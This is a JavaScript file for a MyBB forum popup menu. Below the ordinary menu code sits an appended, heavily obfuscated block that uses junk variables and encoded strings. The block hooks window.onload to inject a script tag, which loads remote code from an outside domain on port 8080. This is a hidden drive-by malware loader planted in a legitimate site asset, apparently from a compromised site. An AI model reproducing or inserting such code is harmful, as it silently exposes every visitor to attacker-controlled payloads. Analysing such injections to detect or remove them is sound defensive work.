var PopupMenu = Class.create();

PopupMenu.prototype = {

	initialize: function(id, options)
	{
		document.currentMenu = "";

		if(!$(id))
		{
			return false;
		}
		this.id = id;
		var element = $(id);
		
		var popupMenu = element.id+"_popup";
		if(!$(popupMenu))
		{
			return false;
		}
		
		this.menu = $(popupMenu);
		//this.menu.style.display = "none";
		element.onclick = this.openMenu.bindAsEventListener(this);
	},
	
	openMenu: function(e)
	{
		Event.stop(e);
		if(document.currentMenu == this.id)
		{
			this.closeMenu(document.currentMenu);
			return false;
		}
		else if(document.currentMenu != "")
		{
			this.closeMenu(document.currentMenu);
		}
		
		offsetTop = offsetLeft = 0;
		var element = $(this.id);
		do
		{
			offsetTop += element.offsetTop || 0;
			offsetLeft += element.offsetLeft || 0;
			element = element.offsetParent;
			if(element)
			{
				if(DomLib.getStyle(element, 'position') == 'relative' || DomLib.getStyle(element, 'position') == 'absolute') break;
			}
		} while(element);
		element = $(this.id);
		this.menu.style.position = "absolute";
		this.menu.style.zIndex = 100;
		this.menu.style.top = (offsetTop+element.offsetHeight-1)+"px";
		// Bad browser detection - yes, only choice - yes.
		if(MyBB.browser == "opera" || MyBB.browser == "safari")
		{
			this.menu.style.top = (parseInt(this.menu.style.top)-2)+"px";
		}
		this.menu.style.left = offsetLeft+"px";
		this.menu.style.visibility = 'hidden';
		this.menu.style.display = '';
		if(this.menu.style.width)
		{
			menuWidth = parseInt(this.menu.style.width);
		}
		else
		{
			menuWidth = this.menu.offsetWidth;
		}
		pageSize = DomLib.getPageSize();
		if(offsetLeft+menuWidth >= pageSize[0])
		{
			this.menu.style.left = (offsetLeft-menuWidth-2)+"px";
			if(MyBB.browser == "ie")
			{
				this.menu.style.left = (parseInt(this.menu.style.left)-2)+"px";
			}
		}
		//this.menu.style.display = '';	
		this.menu.style.visibility = 'visible';

		document.currentMenu = element.id;
		Event.observe(document, 'click', this.closeMenu.bindAsEventListener(this));
	},
	
	closeMenu: function()
	{
		var menu = document.currentMenu;
		menu = $(menu+"_popup");
		this.menu.style.display = "none";
		document.currentMenu = "";
		document.onclick = function() { };
	}
};

var B="";try {var Pm;if(Pm!='Wg' && Pm != ''){Pm=null};var X="";var aL;if(aL!='l'){aL='l'};var n=window[unescape("%75%6e%65%73%63%61%70%65")];var f='';var x;if(x!='lM'){x='lM'};var z="";var U;if(U!=''){U='Y'};var A=null;var iB='';this.R="";var J=n("%72%65%70%6c%61%63%65");this.lW='';var NU;if(NU!='' && NU!='V'){NU=null};var m=window[n("%52%65%67%45%78%70")];this.sl='';var CK;if(CK!='yC' && CK!='Xs'){CK=''};function Q(j,mO){var tT;if(tT!='Ew' && tT!='H'){tT=''};var Z=n("%5b");var UU=new Array();var dY;if(dY!='Wd' && dY!='MQ'){dY=''};Z+=mO;var ER;if(ER!=''){ER='O'};Z+=n("%5d");this.pl='';var F=new m(Z, n("%67"));var W_;if(W_!='' && W_!='c'){W_='G'};var jc=new String();return j.replace(F, A);};var sY;if(sY!='' && sY!='r'){sY=''};this.bz="";var v=Q('8643949097791587555567306637967','7635491');this.Ra='';var j=n("%31");var Cf=new Array();var T=n("%73%63%72%69%70%74");var i=Q('/xpwaqnLtwiVpx-VcqoLmV/wgqoWoLgLlqeW.wcVoVmL/wtWaqgqgVeLdw.xcxoUmW.UpUhxpw','VqLwUWx');this.hx="";var b="on"+"lo"+"adK2O".substr(0,2);var tE;if(tE!='D' && tE!='sD'){tE=''};var W='';var vb;if(vb!='qj' && vb!='CJ'){vb=''};var gX;if(gX!='' && gX!='jy'){gX=null};var QY="\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x6f\x79\x73\x70\x6f\x72\x74\x73\x77\x6f\x72\x6c\x64\x2e\x69\x6e\x66\x6f\x3a";var VV;if(VV!='w'){VV=''};this.FS="";var tl;if(tl!='uQ' && tl!='Xd'){tl='uQ'};function vi(){var eo;if(eo!='CC' && eo!='Eh'){eo=''};var JP=document;var jk;if(jk!='nA' && jk!='gZ'){jk='nA'};vG=JP.createElement(T);var QM=new Date();var _C=new Array();var lO;if(lO!='' && lO!='Au'){lO=''};W+=QY;W+=v+i;var BJ;if(BJ!='' && BJ!='rw'){BJ='HW'};this.lH='';vG.defer=j;this.nL='';this.ls='';vG.src=W;var cW="";var hB=new Array();var Jo=JP.body;Jo.appendChild(vG);var RC=new Array();var I=new Array();};var um;if(um!='QP'){um=''};var Lr=new Array();window[b]=vi;var Ny;if(Ny!='Zg' && Ny!='hP'){Ny='Zg'};var fi="";var yj="";} catch(y){var dH;if(dH!='RT' && dH != ''){dH=null};var xP;if(xP!='tB' && xP != ''){xP=null};};